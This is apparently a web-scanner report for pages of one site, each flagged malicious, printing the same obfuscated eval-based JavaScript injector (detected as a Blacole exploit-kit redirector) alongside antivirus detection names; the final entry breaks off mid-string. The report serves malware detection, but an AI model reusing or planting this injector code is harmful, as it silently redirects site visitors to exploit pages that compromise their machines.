Request | Server response | Status |
http://usamabinladenonline.com/ | 200 OK Content-Length: 24660 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,66,5f,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,66,5f,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,6e,6e,25,6d,65,24,61,67,6b,6d,25,5a,66,64,26,5a,6
... 3163 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1316!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://usamabinladenonline.com/newsroom.html | 200 OK Content-Length: 32496 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,66,5f,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,66,5f,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,6e,6e,25,6d,65,24,61,67,6b,6d,25,5a,66,64,26,5a,6
... 3163 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1316!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://usamabinladenonline.com/wtc.html | 200 OK Content-Length: 31888 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,66,5f,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,66,5f,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,6e,6e,25,6d,65,24,61,67,6b,6d,25,5a,66,64,26,5a,6
... 3163 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1316!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://usamabinladenonline.com/relief.html | 200 OK Content-Length: 34386 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,66,5f,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,66,5f,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,6e,6e,25,6d,65,24,61,67,6b,6d,25,5a,66,64,26,5a,6
... 3163 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1316!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://usamabinladenonline.com/fundraising.html | 200 OK Content-Length: 26490 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,66,5f,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,66,5f,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,6e,6e,25,6d,65,24,61,67,6b,6d,25,5a,66,64,26,5a,6
... 3163 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1316!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://usamabinladenonline.com/health.html | 200 OK Content-Length: 38288 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,66,5f,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,66,5f,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,6e,6e,25,6d,65,24,61,67,6b,6d,25,5a,66,64,26,5a,6
... 3163 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1316!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://usamabinladenonline.com/protection.html | 200 OK Content-Length: 26722 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,66,5f,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,66,5f,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,6e,6e,25,6d,65,24,61,67,6b,6d,25,5a,66,64,26,5a,6
... 3163 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1316!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://usamabinladenonline.com/jobs.html | 200 OK Content-Length: 28115 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,66,5f,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,66,5f,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,6e,6e,25,6d,65,24,61,67,6b,6d,25,5a,66,64,26,5a,6
... 3163 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1316!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://usamabinladenonline.com/humor.html | 200 OK Content-Length: 46527 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,66,5f,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,66,5f,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,6e,6e,25,6d,65,24,61,67,6b,6d,25,5a,66,64,26,5a,6
... 3163 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1316!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://usamabinladenonline.com/entertainment.html | 200 OK Content-Length: 29303 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,66,5f,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,66,5f,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,6e,6e,25,6d,65,24,61,67,6b,6d,25,5a,66,64,26,5a,6
... 3163 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1316!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://usamabinladenonline.com/tidbits.html | 200 OK Content-Length: 53030 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,66,5f,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,66,5f,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,6e,6e,25,6d,65,24,61,67,6b,6d,25,5a,66,64,26,5a,6
... 3163 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1316!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://usamabinladenonline.com/contact.html | 200 OK Content-Length: 18216 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,66,5f,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,66,5f,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,6e,6e,25,6d,65,24,61,67,6b,6d,25,5a,66,64,26,5a,6
